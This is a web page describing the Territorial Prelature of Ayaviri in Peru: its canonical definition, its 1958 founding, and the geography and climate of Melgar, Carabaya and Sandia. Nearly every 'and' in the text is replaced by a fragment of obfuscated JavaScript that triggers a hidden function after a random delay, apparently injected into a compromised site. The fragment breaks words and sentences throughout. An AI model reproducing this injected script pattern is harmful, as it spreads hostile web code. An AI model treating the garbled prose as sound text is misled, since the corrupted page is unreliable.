• Melgar

    • Tinajani

    • Sandia

    • Untuca

    • Sandia

    • Masiapo

Territory

A territorial prelature… is a certain portion of the people of God which is defined territorially andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and whose care, due to special circumstances, is entrusted to some prelate… who governs it as its proper pastor just like a diocesan bishop.
- Code of Canon Law, c. 370

On July 30, 1958, Pope Pius XII in his Apostolic Letter Ex illis Diocesibus officially created the Prelature of Ayaviri. It was constituted in the region of Puno by the political provinces of Melgar, Carabaya andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andia, a total area of 32,000 sq. Km, or 12,392 sq. miles.

The territory has a great geographic variety, with altitudes ranging from about 600 m (1,970 ft.) on the Tambopata andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Yanahuay River Valleys to its highest point, Mount Ananea, at about 5852 m (19,200 ft.). Such differences also give the region a very wide climatic variety.
 
In the Low Andes Valleys the climate is more moderate andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the region is suitable for cereal andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vegetable agriculture. The terrain includes mountains, thermal andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and medicinal waters, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rock formations caused by wind erosion. Altogether, these present a landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andscape of singular beauty.
 
Around 3,840 m (12,600 ft.) in the High Andes Mountains, the climate begins to chill significantly; oftentimes dropping below freezing in the winter.  Even in this harsh climate, there is a dispersion of cities, towns andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and villages. One of these towns is Ayaviri, the See of the Prelature.  Ayaviri is located at 3,907 m (12,800 ft.). Further up at 4,020 m (13,188 ft.), the climate is more consistently freezing, making the region nearly uninhabited.
 
Despite this predominately cold andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and harsh climate, parts of the provinces of Carabaya andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andia consist of rainforest. In fact, the area is home to the Tambopata Candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andamo Reserved Area, founded for the protection of the fauna andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and flora that grow andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and live in the tropical sub-humid conditions. This area constitutes one of the richest ecosystems in the world with a great diversity of wildlife that continues to captivate many scientists andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tourists from all parts of the world.